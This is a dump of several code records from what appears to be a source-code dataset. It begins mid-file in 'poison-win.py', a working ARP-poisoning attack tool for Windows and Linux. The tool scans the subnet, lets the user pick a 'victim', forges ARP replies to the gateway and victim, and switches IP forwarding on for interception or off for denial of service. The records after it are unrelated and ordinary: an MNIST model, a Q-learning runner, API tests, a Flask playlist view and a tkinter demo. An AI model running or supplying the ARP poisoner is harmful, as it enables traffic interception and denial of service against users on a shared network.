necessary windows librarys\r\n import winreg\r\n import win32serviceutil\r\n\r\n#returns a human readable interface name from the windows registry\r\ndef get_connection_name_from_guid(interface_guids):\r\n #populate the list with unknown interfaces first for each entry\r\n interface_names = ['(unknown interface)' for i in range(len(interface_guids))]\r\n reg = winreg.ConnectRegistry(None, winreg.HKEY_LOCAL_MACHINE)\r\n reg_key = winreg.OpenKey(reg, r'SYSTEM\\CurrentControlSet\\Control\\Network\\{4d36e972-e325-11ce-bfc1-08002be10318}')\r\n for i in range(len(interface_guids)):\r\n try:\r\n #try and match the guid to a name\r\n reg_subkey = winreg.OpenKey(reg_key, interface_guids[i] + r'\\Connection')\r\n interface_names[i] = winreg.QueryValueEx(reg_subkey, 'Name')[0]\r\n except FileNotFoundError:\r\n #couldnt find a matching name\r\n pass\r\n return interface_names\r\n \r\n#returns the (human readable) driver name for the interface from the windows registry \r\ndef get_driver_name_from_guid(interface_guids):\r\n #populate the list with unknown interfaces first for each entry\r\n interface_names = ['(unknown interface)' for i in range(len(interface_guids))]\r\n reg = winreg.ConnectRegistry(None, winreg.HKEY_LOCAL_MACHINE)\r\n reg_key = winreg.OpenKey(reg, r'SYSTEM\\CurrentControlSet\\Control\\Class\\{4d36e972-e325-11ce-bfc1-08002be10318}')\r\n for i in range(winreg.QueryInfoKey(reg_key)[0]):\r\n subkey_name = winreg.EnumKey(reg_key, i)\r\n try:\r\n #try and match the guid to a name\r\n reg_subkey = winreg.OpenKey(reg_key, subkey_name)\r\n guid = winreg.QueryValueEx(reg_subkey, 'NetCfgInstanceId')[0]\r\n try:\r\n idx = interface_guids.index(guid)\r\n interface_names[idx] = winreg.QueryValueEx(reg_subkey, 'DriverDesc')[0]\r\n except ValueError:\r\n pass\r\n except PermissionError:\r\n #couldnt find a matching name\r\n pass\r\n return interface_names\r\n\r\n\r\n#Gets the mac address for a given ip_address and adds it to the passed in results\r\ndef get_mac_address(ip_address, results, interface, time=packet_timeout):\r\n #resp, unans = sr(ARP(op=1, hwdst=\"ff:ff:ff:ff:ff:ff\", pdst=ip_address), iface=interface, retry=0, timeout=time)\r\n resp, unans = srp(Ether(dst=\"ff:ff:ff:ff:ff:ff\")/ARP(pdst=ip_address),timeout=time, iface=interface)\r\n for send, rec in resp:\r\n #results.append((rec[ARP].hwsrc, rec[ARP].psrc))\r\n results.append((rec[0][1].hwsrc, rec[0][1].psrc))\r\n \r\n\r\n#Lists out the available addresses found on the network and returns the gateway and victim ip/mac information\r\ndef get_addresses():\r\n #get the available interfaces\r\n interfaces = netifaces.interfaces()\r\n #get human readable interface names for windows\r\n nice_interfaces = None\r\n nice_interface = None\r\n if(os_type=='Windows'):\r\n nice_interfaces = get_driver_name_from_guid(interfaces)\r\n interface = None\r\n \r\n #check if the user specified an interface in the command line\r\n if(\"-if\" not in sys.argv):\r\n try:\r\n #Print the available interfaces\r\n print(\"Available Interfaces:\")\r\n if(os_type=='Linux'):\r\n for i in range(len(interfaces)):\r\n print(str(i + 1) + \". \" + interfaces[i])\r\n elif(os_type=='Windows'):\r\n for i in range(len(nice_interfaces)):\r\n print(str(i + 1) + \". \" + nice_interfaces[i])\r\n \r\n #Prompt the user for the interface to use\r\n if_num = int(input(\"Select from results the number for the interface you wish to use: \"))\r\n while if_num < 1 or if_num > len(interfaces):\r\n if_num = int(input(\"Select a valid number: \"))\r\n \r\n #Populate the interface choice for netifaces\r\n interface = interfaces[if_num-1]\r\n #populate nice interface for scapy\r\n nice_interface = nice_interfaces[if_num-1]\r\n \r\n except Exception as inst:\r\n #print an error\r\n print(\"Error getting interface selection from user\")\r\n print(inst)\r\n restore_routing()\r\n sys.exit(-1)\r\n else:\r\n #user specified an interface on the command line\r\n \r\n #Populate interface object\r\n if(os_type=='Linux'):\r\n interface = sys.argv[sys.argv.index(\"-if\")+1]\r\n \r\n #make sure the interface is valid\r\n if(interface not in interfaces):\r\n #invalid interface\r\n print(\"Error: interface passed in with -if is not in the list of interfaces\")\r\n sys.exit(-1)\r\n \r\n elif(os_type=='Windows'):\r\n #get the human readable interface name\r\n nice_interface = sys.argv[sys.argv.index(\"-if\")+1]\r\n \r\n #make sure the interface is valid\r\n if(nice_interface not in nice_interfaces):\r\n #invalid interface\r\n print(\"Error: interface passed in with -if is not in the list of interfaces\")\r\n sys.exit(-1)\r\n \r\n #map the nice_interface to an interface for netifaces\r\n interface = interfaces[nice_interfaces.index(nice_interface)]\r\n \r\n results = []\r\n threads = []\r\n \r\n #check if the user provided a victim IP address\r\n if(\"-v\" not in sys.argv):\r\n \r\n #Probe the subnet to get a list of the available hosts to attack\r\n print(\"Finding hosts on subnet. Please Wait...\")\r\n \r\n #get the network interface info from netifaces\r\n addrs = netifaces.ifaddresses(interface)\r\n \r\n #get subnet mask string\r\n subnet_mask = addrs[netifaces.AF_INET][0][\"netmask\"]\r\n \r\n #get interface IP address string\r\n ip_addr = addrs[netifaces.AF_INET][0][\"addr\"]\r\n \r\n #calculate subnet mask bit length\r\n subnet_mask_len = sum([bin(int(x)).count(\"1\") for x in subnet_mask.split(\".\")])\r\n \r\n #calculate number of subnet hosts\r\n subnet_hosts = 2**(32-subnet_mask_len)\r\n \r\n #get the network (starting) address string\r\n net_addr = str(ipaddress.IPv4Address(addrs[netifaces.AF_INET][0][\"broadcast\"])+1-subnet_hosts)\r\n \r\n try:\r\n #send arps for each host in the subnet (***there is a better way to do this with scapy ARP ping***)\r\n for address in ipaddress.IPv4Network(net_addr + '/' + str(subnet_mask_len)):\r\n dest = str(address)\r\n #make sure to omit current interface IP address from search so we dont attack ourselves\r\n if(ip_addr != dest):\r\n #check OS to determine which of interface/nice_interface to send\r\n if(os_type=='Linux'):\r\n thread = Thread(target=get_mac_address, args=(dest, results, interface))\r\n if(os_type=='Windows'):\r\n print(\"Probing \" + str(address))\r\n #get_mac_address(dest,results,nice_interface, 1)\r\n thread = Thread(target=get_mac_address, args=(dest, results, nice_interface))\r\n #get_mac_address(dest,results)\r\n thread.start()\r\n threads.append(thread)\r\n\r\n #Wait for the threads to finish up their arp requests\r\n for thread in threads:\r\n thread.join()\r\n except Exception as inst:\r\n #error in threads\r\n print(\"Error probing hosts\")\r\n print(inst)\r\n restore_routing()\r\n sys.exit(-1)\r\n\r\n #Print the results of the found IP addresses\r\n print(\"Results: \")\r\n for i, result in enumerate(results):\r\n print(str(i + 1) + \". MAC = \" + result[0] + \" | IP = \" + result[1])\r\n \r\n try:\r\n #Prompt the user to select an IP address to attack\r\n selection = input(\"Select from the results the number for the MAC/IP address you wish to attack: \")\r\n while int(selection) < 1 or int(selection) > len(results):\r\n selection = input(\"Select a valid number: \")\r\n except Exception as inst:\r\n #print an error\r\n print(\"Error getting IP/MAC selection.\")\r\n print(inst)\r\n restore_routing()\r\n sys.exit(-1)\r\n \r\n victim = results[int(selection) - 1]\r\n \r\n else:\r\n #'-v' found. \r\n try:\r\n #make sure the passed in address is a valid IPv4 address\r\n vic_addr = ipaddress.IPv4Address(sys.argv[sys.argv.index(\"-v\")+1])\r\n except Exception as err:\r\n print(\"Error: Invalid IP address passed into -v\")\r\n print(err)\r\n restore_routing()\r\n sys.exit()\r\n \r\n try:\r\n #find mac address for given victim IP\r\n if(os_type=='Linux'):\r\n while(len(results) == 0):\r\n print(\"Resolving victim MAC address...\")\r\n get_mac_address(str(vic_addr),results, interface, 2)\r\n elif(os_type=='Windows'):\r\n while(len(results) == 0):\r\n print(\"Resolving victim MAC address...\")\r\n get_mac_address(str(vic_addr),results, nice_interface, 2)\r\n print(\"Victim IP: %s MAC: %s\" %(results[0],results[1]))\r\n \r\n #get the network interface info from netifaces\r\n addrs = netifaces.ifaddresses(interface)\r\n ip_addr = addrs[netifaces.AF_INET][0][\"addr\"]\r\n \r\n #make sure the user isn't attacking themselves\r\n if(vic_addr == ip_addr):\r\n #ask the user if they want to continue\r\n print(\"Warning: Victim IP address is the same as the selected interface IP. You are attacking yourself!\")\r\n answer = raw_input(\"Are you sure you want to continue? (enter 'y' to continue with the attack) \")\r\n if(not(answer == 'y' or answer == 'Y')):\r\n sys.exit(-1)\r\n \r\n #Populate victim object\r\n \r\n victim = results[0]\r\n \r\n except Exception as inst:\r\n #invalid address\r\n print(\"Error: Couldn't resolve mac address for victim. If you sparatically get this error and are using NPCap you could try switching to WinPcap to see if the issue is resolved.\")\r\n print(inst)\r\n restore_routing()\r\n sys.exit(-1)\r\n \r\n #Populate the gateway object with the appropriate (MAC,IP) tuple values\r\n gateway = (None, None)\r\n \r\n #clear results\r\n results = []\r\n \r\n #check if the \"-g\" option was passed in to the command line\r\n if(\"-g\" in sys.argv):\r\n try:\r\n #get the gateway address and verify it is a valid address\r\n gate_ip = ipaddress.IPv4Address(sys.argv[sys.argv.index(\"-g\")+1])\r\n except Exception as err:\r\n print(\"Error: Invalid IP address passed into -g\")\r\n print(err)\r\n restore_routing()\r\n sys.exit(-1)\r\n \r\n try:\r\n #find the mac address for given gateway IP\r\n if(os_type=='Linux'):\r\n while(len(results) == 0):\r\n print(\"Resolving Gateway MAC address...\")\r\n get_mac_address(str(gate_ip),results, interface, 2)\r\n elif(os_type=='Windows'):\r\n while(len(results) == 0):\r\n print(\"Resolving Gateway MAC address...\")\r\n get_mac_address(str(gate_ip),results, nice_interface, 2)\r\n \r\n print(\"Gateway IP: %s MAC: %s\" %(results[0],results[1]))\r\n #Populate gateway object\r\n gateway = results[0]\r\n \r\n except Exception as inst:\r\n #invalid address\r\n print(\"Error: Couldn't resolve mac address for gateway. If you sparatically get this error and are using NPCap you could try switching to WinPcap to see if the issue is resolved.\")\r\n print(inst)\r\n restore_routing()\r\n sys.exit(-1)\r\n \r\n else:\r\n try:\r\n #get the default gateway for the selected interface\r\n gateways = netifaces.gateways()[netifaces.AF_INET]\r\n def_gateway = [item for item in gateways if (True and interface) in item]\r\n gate_ip = def_gateway[0][0]\r\n \r\n #find the mac address for given gateway IP\r\n if(os_type=='Linux'):\r\n while(len(results) == 0):\r\n print(\"Resolving Gateway MAC address...\")\r\n get_mac_address(gate_ip,results, interface, 2)\r\n if(os_type=='Windows'):\r\n while(len(results) == 0):\r\n print(\"Resolving Gateway MAC address...\")\r\n get_mac_address(gate_ip,results, nice_interface, 2)\r\n \r\n print(\"Gateway IP: %s MAC: %s\" %(results[0],results[1]))\r\n #Populate gateway object\r\n gateway = results[0]\r\n \r\n except Exception as inst:\r\n #default gateway not found\r\n print(\"Error: Couldn't resolve mac address for gateway. If you sparatically get this error and are using NPCap you could try switching to WinPcap to see if the issue is resolved.\")\r\n print(inst)\r\n restore_routing()\r\n sys.exit(-1)\r\n\r\n if(os_type=='Linux'):\r\n return (gateway, victim), interface\r\n if(os_type=='Windows'):\r\n return (gateway, victim), nice_interface\r\n\r\n#Sends arp reply packets to poison the victim and gateway\r\ndef poison(gate_ip, vic_ip, gate_mac, vic_mac, interface):\r\n #, iface = interface\r\n send(ARP(op = 2, pdst = gate_ip, hwdst = gate_mac, psrc = vic_ip))\r\n send(ARP(op = 2, pdst = vic_ip, hwdst = vic_mac, psrc = gate_ip))\r\n\r\n#Sends arp reply packets to reverse the poisoning on the network\r\ndef unpoison(gate_ip, vic_ip, gate_mac, vic_mac, interface):\r\n for i in range(0, 2):\r\n send(ARP(op = 2, pdst = gate_ip, psrc = vic_ip, hwdst = \"ff:ff:ff:ff:ff:ff\", hwsrc = vic_mac), count = 1)\r\n send(ARP(op = 2, pdst = vic_ip, psrc = gate_ip, hwdst = \"ff:ff:ff:ff:ff:ff\", hwsrc = gate_mac), count = 1)\r\n time.sleep(2)\r\n \r\n#Launches the arp attack against the passed in gateway and victim devices\r\ndef attack(gateway, victim, interface):\r\n try:\r\n #Send ARP replys until the user cancels program execution [ex: with ctrl-c]\r\n print(\"Arp poisoning...\")\r\n while True:\r\n poison(gateway[1], victim[1], gateway[0], victim[0], interface)\r\n time.sleep(2)\r\n print(\"Still poisoning...\")\r\n except KeyboardInterrupt:\r\n print(\"Reversing poisoning...\")\r\n unpoison(gateway[1], victim[1], gateway[0], victim[0], interface)\r\n restore_routing()\r\n sys.exit(0)\r\n\r\n \r\n#Enables IP forwarding\r\ndef enable_IP_forwarding():\r\n if(os_type=='Linux'):\r\n print(\"Starting Routing Service...\")\r\n os.system(\"echo 1 > /proc/sys/net/ipv4/ip_forward\")\r\n print(\"Routing Service Started...\")\r\n elif(os_type=='Windows'):\r\n try:\r\n #get registry key value for ip routing\r\n print(\"Reading Registry Keys...\")\r\n key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, r'SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters', 0, winreg.KEY_ALL_ACCESS)\r\n result = winreg.QueryValueEx(key, \"IPEnableRouter\")\r\n #get the status of the RemoteAccess service\r\n status = win32serviceutil.QueryServiceStatus(\"RemoteAccess\")\r\n \r\n #check to see if IP routing is not already enabled and update routing_enable\r\n if(result[0] == 0 and status[1] == 1):\r\n #update the routing_enabled vars\r\n routing_enabled = False\r\n \r\n #enable IP forwarding\r\n print(\"Updating Registry Keys...\")\r\n winreg.SetValueEx(key, \"IPEnableRouter\", 0, winreg.REG_DWORD, 1)\r\n \r\n #close the key\r\n winreg.CloseKey(key)\r\n \r\n #start the routing and remote access service\r\n print(\"Starting Routing Service...\")\r\n os.system(\"sc config RemoteAccess start= auto\")\r\n win32serviceutil.StartService(\"RemoteAccess\")\r\n print(\"Routing Service Started...\")\r\n \r\n elif(result[0] == 1 and status[1] != 4):\r\n #Routing is enabled but the service is not started\r\n print(\"Routing Enabled But The Service Is Not Running.\")\r\n print(\"Starting Routing Service...\")\r\n os.system(\"sc config RemoteAccess start= auto\")\r\n win32serviceutil.StartService(\"RemoteAccess\")\r\n print(\"Routing Service Started...\")\r\n \r\n elif(result[0] == 1 and status[1] == 4):\r\n #ip routing already enabled update routing_enabled and do nothing\r\n routing_enabled = True\r\n print(\"Routing already enabled...\")\r\n else:\r\n raise\r\n \r\n except Exception as inst:\r\n #print error\r\n print(\"Error: failed to enable IP routing\")\r\n print(inst)\r\n sys.exit(-1)\r\n else:\r\n print(\"OS Type not set, strange...\")\r\n \r\n\r\n#Disables IP forwarding\r\ndef disable_IP_forwarding():\r\n if(os_type=='Linux'):\r\n print(\"Stopping Routing Service...\")\r\n os.system(\"echo 0 > /proc/sys/net/ipv4/ip_forward\")\r\n elif(os_type=='Windows'):\r\n try:\r\n #get registry key value for ip routing\r\n key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, r'SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters', 0, winreg.KEY_ALL_ACCESS)\r\n result = winreg.QueryValueEx(key, \"IPEnableRouter\")\r\n #check to see if IP routing is not already disabled and update routing_enable\r\n if(result[0] == 1):\r\n #update the routing_enabled vars\r\n routing_enabled = False\r\n \r\n #start the routing and remote access service\r\n print(\"Stoping Routing Service...\")\r\n win32serviceutil.StopService(\"RemoteAccess\")\r\n os.system(\"sc config RemoteAccess start= disabled\")\r\n print(\"Routing Service Stopped...\")\r\n \r\n #disable IP forwarding\r\n print(\"Reverting Registry Keys...\")\r\n winreg.SetValueEx(key, \"IPEnableRouter\", 0, winreg.REG_DWORD, 0)\r\n \r\n \r\n #close the key\r\n winreg.CloseKey(key)\r\n \r\n else:\r\n #ip routing already enabled update routing_enabled and do nothing\r\n routing_enabled = False\r\n print(\"Routing already disabled...\")\r\n \r\n except Exception as inst:\r\n #print error\r\n print(\"Error: failed to enable IP routing\")\r\n print(inst)\r\n sys.exit(-1)\r\n else:\r\n print(\"OS Type not set, strange...\")\r\n \r\ndef restore_routing():\r\n #restore the system routing to the previous state\r\n if(routing_enabled == True):\r\n #enable forwarding\r\n enable_IP_forwarding()\r\n elif(routing_enabled == False):\r\n #disable forwarding\r\n disable_IP_forwarding()\r\n #else:\r\n #routing_enabled not yet set. do nothing\r\n print(\"Routing_enabled Not Set...\")\r\n \r\nif __name__ == '__main__':\r\n #Check if the help argument was passed in\r\n if(\"-h\" in sys.argv):\r\n #Display help\r\n print(\"\")\r\n print(\"ArpPoison.py does exactly what its name implies, carries out arp poisoning attacks!\")\r\n print(\"Doesn't currently work for IPv6 addresses\")\r\n print(\"\")\r\n print(\"Command Line Arguments\")\r\n print(\"-h Prints help\")\r\n print(\"-g [gateway_ip] Specifies the gateway IP to attack\")\r\n print(\"-v [victim_ip] Specifies the victim IP to attack (should be on the same subnet as the interface address)\")\r\n print(\"-if [interface_name] Specifies which interface to spoof from. If not specified it uses the default network interface\")\r\n print(\"-dos Disables IP routing. This results in a denial of service attack on the victim. Omitting this option enables routing for the session\")\r\n print(\"-t Sets the packet timeout in seconds for the network probe (default is 2)\")\r\n #print(\"-r [filename] Records the network traffic to the specified PCAP file [Coming soon...]\")\r\n sys.exit(0)\r\n \r\n #make sure were running on a supported OS\r\n if(os_type != 'Windows' and os_type != 'Linux'):\r\n #OS type is not windows or linux. Print OS type and exit\r\n print(\"Error: %s operating systems are not currently supported\" %(os_type))\r\n sys.exit(-1)\r\n \r\n try:\r\n #check if the Denial of Service Flag is set\r\n if(\"-dos\" in sys.argv):\r\n disable_IP_forwarding()\r\n else:\r\n enable_IP_forwarding()\r\n \r\n if(\"-t\" in sys.argv):\r\n packet_timeout = int(sys.argv[sys.argv.index(\"-t\")+1])\r\n \r\n #get the addresses and interface for the attack\r\n addresses, inface = get_addresses()\r\n \r\n #start the attack\r\n attack(addresses[0], addresses[1], inface)\r\n \r\n finally:\r\n restore_routing()\r\n ","sub_path":"src/poison-win.py","file_name":"poison-win.py","file_ext":"py","file_size_in_byte":23286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"616540091","text":"import tensorflow as tf\nimport numpy as np\nimport matplotlib.pyplot as plt\nmnist = tf.keras.datasets.mnist\n# a = 1\n(train_x,train_y),(test_x,test_y) = mnist.load_data()\nx_train,x_test = tf.cast(train_x,dtype=tf.float32)/255.0 , tf.cast(test_x,dtype = tf.float32)/255.0\n# x_train.shape\n# x_test.shape\ny_train,y_test = tf.cast(train_y,dtype=tf.int32),tf.cast(test_y,dtype=tf.int32)\n# y_train.shape,y_test.shape\n\nx_train = tf.reshape(tensor=x_train,shape = [60000,28,28,1])\n# x_train.shape\nx_test = tf.reshape(tensor=x_test,shape=[10000,28,28,1])\n# x_test.shape\n\nmodel = tf.keras.Sequential()\nmodel.add(tf.keras.layers.Conv2D(16,kernel_size=[3,3],padding='same',activation=tf.nn.relu,input_shape = [28,28,1]))\nmodel.add(tf.keras.layers.MaxPool2D(pool_size=[2,2]))\nmodel.add(tf.keras.layers.Conv2D(32,kernel_size=[3,3],padding='same',activation=tf.nn.relu))\nmodel.add(tf.keras.layers.MaxPool2D(pool_size=[2,2]))\nmodel.add(tf.keras.layers.Flatten())\nmodel.add(tf.keras.layers.Dense(128,activation=tf.nn.relu))\nmodel.add(tf.keras.layers.Dense(10,activation=tf.nn.softmax))\n# model.summary()\nmodel.compile(optimizer='adam',loss = 'sparse_categorical_crossentropy',metrics=['sparse_categorical_accuracy'])\nmodel.fit(x_train,y_train,batch_size=64,epochs=5,validation_split=0.2)","sub_path":"real_code/1.0mnist_手写数字识别.py","file_name":"1.0mnist_手写数字识别.py","file_ext":"py","file_size_in_byte":1268,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"236631018","text":"from training_agent import TrainingAgent\nimport matplotlib.pyplot as plt\nfrom tqdm import tqdm\n\nif __name__ == \"__main__\":\n\n\tEPISODES = 100000\n\tMOVES = 100\n\tLEARNING_RATE = 0.65\n\tREWARD_DECAY = 0.65\n\tEPSILON = 1.0\n\tEPSILON_DECAY = 0.99993\n\tEPSILON_MIN = 0.005\n\tTESTS = 20000\n\n\ttraining_agent = TrainingAgent(LEARNING_RATE, EPSILON, EPSILON_MIN, EPSILON_DECAY, MOVES, \t\t\t\t\t\t\t\t\t REWARD_DECAY)\n\ttrain_scores = []\n\ttest_scores = []\n\n\tfor episode in tqdm(range(EPISODES)):\n\t\tscore = training_agent.train()\n\t\ttrain_scores.append(score)\n\t\t#print(f'Episode {episode + 1}/{EPISODES}. Score: {score}')\n\n\tfor test in tqdm(range(TESTS)):\n\t\tscore = training_agent.test()\n\t\ttest_scores.append(score)\n\t\t#print(f'Episode {test + 1}/{TESTS}. Score: {score}')\n\n\tplt.figure(figsize=(9, 6))\n\tplt.subplot(1, 2, 1)\n\tplt.plot(range(EPISODES), train_scores)\n\tplt.title('Training agent')\n\tplt.xlabel('Episodes')\n\tplt.tight_layout()\n\tplt.ylabel('Score')\n\n\tplt.subplot(1, 2, 2)\n\tplt.plot(range(TESTS), test_scores)\n\tplt.title('Test agent')\n\tplt.xlabel('Episodes')\n\tplt.ylabel('Score')\n\tplt.tight_layout()\n\tplt.show()","sub_path":"Vestacka inteligencija/Neural Networks/RL/Q_table_taxi/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1091,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"639933268","text":"import time\n\nimport pandas as pd\nimport pytest\n\nfrom cognite.client import CogniteClient\nfrom cognite.client.stable.assets import Asset, AssetListResponse, AssetResponse\nfrom tests.conftest import generate_random_string\n\nassets = CogniteClient(debug=True).assets\n\n\n@pytest.fixture(scope=\"module\")\ndef get_asset_subtree_response():\n return assets.get_asset_subtree(asset_id=6354653755843357, limit=2)\n\n\n@pytest.fixture(scope=\"module\")\ndef get_assets_response():\n return assets.get_assets(limit=1)\n\n\ndef test_get_assets_response_object(get_assets_response):\n assert isinstance(get_assets_response, AssetListResponse)\n assert get_assets_response.next_cursor() is not None\n assert get_assets_response.previous_cursor() is None\n assert len(get_assets_response)\n assert isinstance(get_assets_response[0], AssetResponse)\n assert isinstance(get_assets_response[:1], AssetListResponse)\n assert len(get_assets_response[:1]) == 1\n\n\ndef test_get_assets_with_metadata_args():\n res = assets.get_assets(limit=1, metadata={\"something\": \"something\"})\n assert not res.to_json()\n\n\ndef test_get_asset():\n res = assets.get_asset(6354653755843357)\n assert isinstance(res, AssetResponse)\n assert isinstance(res.to_json(), dict)\n assert isinstance(res.to_pandas(), pd.DataFrame)\n assert res.to_pandas().shape[1] == 1\n\n\ndef test_attributes_not_none():\n asset = assets.get_asset(6354653755843357)\n for key, val in asset.__dict__.items():\n if key is \"metadata\" or (key is \"parent_id\" and asset.depth == 0):\n assert val is None\n else:\n assert val is not None, \"{} is None\".format(key)\n\n\ndef test_asset_subtree_object(get_asset_subtree_response):\n assert isinstance(get_asset_subtree_response, AssetListResponse)\n assert get_asset_subtree_response.next_cursor() is not None\n assert get_asset_subtree_response.previous_cursor() is None\n\n\ndef test_json(get_asset_subtree_response):\n assert isinstance(get_asset_subtree_response.to_json(), list)\n\n\ndef test_pandas(get_asset_subtree_response):\n assert isinstance(get_asset_subtree_response.to_pandas(), pd.DataFrame)\n\n\n@pytest.fixture(scope=\"module\")\ndef created_asset():\n random_asset_name = \"test_asset\" + generate_random_string(10)\n a1 = Asset(name=random_asset_name)\n res = assets.post_assets([a1])\n assert isinstance(res, AssetListResponse)\n assert res.to_json()[0][\"name\"] == random_asset_name\n assert res.to_json()[0].get(\"id\") != None\n\n assets_response = assets.get_assets(random_asset_name, depth=0)\n while len(assets_response) == 0:\n assets_response = assets.get_assets(random_asset_name, depth=0)\n time.sleep(0.5)\n return assets_response[0]\n\n\ndef test_update_asset(created_asset):\n new_name = generate_random_string(10)\n res = assets.update_asset(created_asset.id, name=new_name)\n assert new_name == res.name\n\n\ndef test_update_multiple_assets(created_asset):\n new_name = generate_random_string(10)\n res = assets.update_assets([Asset(id=created_asset.id, name=new_name)])\n assert new_name == res[0].name\n\n\ndef test_delete_assets(created_asset):\n res = assets.delete_assets([created_asset.id])\n assert res is None\n\n\ndef test_search_for_assets():\n res = assets.search_for_assets()\n assert len(res.to_json()) > 0\n","sub_path":"tests/test_stable/test_assets.py","file_name":"test_assets.py","file_ext":"py","file_size_in_byte":3313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"425966611","text":"import logging\nfrom os import environ\nfrom flask import Blueprint, render_template, request, redirect, url_for\n\n\nbp = Blueprint(\"main_view\", __name__)\n\n\n@bp.route(\"/\", methods=[\"GET\", \"POST\"])\ndef main_screen(backend):\n logging.debug(\"Server path: {} Method: {}\".format(request.path, request.method))\n return render_template(\"main_view/index.html\",\n all_playlists=backend.lists_in_repo,\n all_songs=backend.songs_in_repo,\n current_playlist=backend.playlist,\n song_playing=False)\n\n\n@bp.route(\"/create_playlist\", methods=[\"POST\"])\ndef create_playlist(backend):\n logging.debug(\"Server path: {} Method: {}\".format(request.path, request.method))\n if request.form.get(\"new_pl_name\") != \"\" and request.form.get(\"new_pl_name\") != backend.lists_in_repo[0]:\n # create the new Playlist and assign as the current_playlist:\n backend.playlist = backend.playlist_add(request.form.get(\"new_pl_name\"))\n backend.song_stop()\n return redirect(url_for(\"main_view.main_screen\"))\n\n\n@bp.route(\"/load_playlist\", methods=[\"POST\"])\ndef load_playlist(backend):\n logging.debug(\"Server path: {} Method: {}\".format(request.path, request.method))\n backend.song_stop()\n backend.playlist = backend.playlist_change(request.form.get(\"playlists\"))\n return redirect(url_for(\"main_view.main_screen\"))\n\n\n@bp.route(\"/delete_playlist\", methods=[\"POST\"])\ndef delete_playlist(backend):\n logging.debug(\"Server path: {} Method: {}\".format(request.path, request.method))\n backend.playlist_delete()\n return redirect(url_for(\"main_view.main_screen\"))\n\n\n@bp.route(\"/add_song\", methods=[\"POST\"])\ndef add_song(backend):\n logging.debug(\"Server path: {} Method: {}\".format(request.path, request.method))\n # no Song selected to be added:\n if request.form[\"add_songs\"] == \"Select\":\n return redirect(url_for(\"main_view.play_song\"))\n else:\n song_index = int(request.form[\"add_songs\"])\n backend.playlist.add_song(backend.songs_in_repo.songs[song_index])\n backend.playlist.save(environ[\"MML_CLIENT_PLAYLISTS_PATH\"])\n return redirect(url_for(\"main_view.play_song\"))\n\n\n@bp.route(\"/add_file\", methods=[\"POST\"])\ndef add_file(backend):\n audio_files = request.files[\"audio_files\"]\n backend.song_add(audio_files)\n return redirect(url_for(\"main_view.play_song\"))\n\n\n@bp.route('/playing', methods=[\"GET\", \"POST\"])\ndef play_song(backend):\n # only the buttons controlling the audio are doing something\n # any redirects TO the page are just refreshing it with the different content\n\n logging.debug(\"Server path: {} Method: {}\".format(request.path, request.method))\n if request.method == \"POST\":\n if \"button_prev\" in request.form:\n if backend.playlist.current_song_index != backend.playlist.prev_song():\n if backend.song_is_playing():\n backend.song_stop()\n backend.song_play()\n elif \"button_play\" in request.form:\n # if song_is_playing, button_PLAY is button_STOP:\n if backend.song_is_playing():\n backend.song_stop()\n return redirect(url_for(\"main_view.main_screen\"))\n else:\n backend.song_play()\n # when the list is empty:\n if not backend.song_is_playing():\n return redirect(url_for(\"main_view.main_screen\"))\n elif \"button_next\" in request.form:\n if backend.playlist.current_song_index != backend.playlist.next_song():\n if backend.song_is_playing():\n backend.song_stop()\n backend.song_play()\n elif request.method == \"GET\":\n # manually entered path or refreshing while song is stopped\n if not backend.song_is_playing():\n return redirect(url_for(\"main_view.main_screen\"))\n return render_template(\"main_view/index.html\",\n all_playlists=backend.lists_in_repo,\n all_songs=backend.songs_in_repo,\n current_playlist=backend.playlist,\n song_playing=backend.song_is_playing())\n\n\n@bp.route('/options', methods=[\"POST\"])\ndef song_options(backend):\n logging.debug(\"Server path: {} Method: {}\".format(request.path, request.method))\n if \"button_up\" in request.form:\n backend.playlist.swap_songs(backend.playlist.current_song_index, backend.playlist.prev_song())\n elif \"button_down\" in request.form:\n backend.playlist.swap_songs(backend.playlist.current_song_index, backend.playlist.next_song())\n elif \"button_remove\" in request.form:\n backend.song_stop()\n backend.playlist.remove_song(backend.playlist.current_song_index)\n\n # avoid modifying the default Playlist:\n if backend.playlist.name() != backend.songs_in_repo.name():\n backend.playlist.save(environ[\"MML_CLIENT_PLAYLISTS_PATH\"])\n return redirect(url_for(\"main_view.play_song\"))\n","sub_path":"web/views/main_view.py","file_name":"main_view.py","file_ext":"py","file_size_in_byte":5048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"20282050","text":"import tkinter.messagebox as mb\r\nfrom tkinter import *\r\nroot=Tk()\r\nroot.geometry('300x250')\r\nroot.title(\"Slider\")\r\n'''\r\n#verticle slider\r\nmyslider=Scale(root,from_=0,to=100)\r\nmyslider.pack()\r\n#horizontal slider\r\nmyslider1=Scale(root,from_=0,to=100,orient=HORIZONTAL)\r\nmyslider1.pack()\r\n\r\nmyslider2=Scale(root,from_=0,to=100,orient=HORIZONTAL)\r\n#start value with any number\r\nmyslider2.set(10)\r\nmyslider2.pack()\r\n'''\r\ndef func():\r\n print(f\"We have credited {myslider3.get()} dollars to your bank account\")\r\n mb.showinfo(\"Amount credited!\",f\"We have credited {myslider3.get()} dollars to your bank account\")\r\nLabel(root,text=\"How many dollars do you want?\").pack()\r\n#Tickinterval value\r\nmyslider3=Scale(root,from_=0,to=100,orient=HORIZONTAL,tickinterval=50)\r\nmyslider3.pack()\r\nButton(root,text=\"Get dollars!\",command=func).pack()\r\n\r\nroot.mainloop()","sub_path":"slider.py","file_name":"slider.py","file_ext":"py","file_size_in_byte":851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"333848070","text":"from optparse import OptionParser\nimport os\nfrom multiprocessing import Pool\nfrom collections import OrderedDict\nimport subprocess\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom math import log\n\noutput_filename = \"results/hw2_cache_splited_full.log\"\noutput_filename2 = 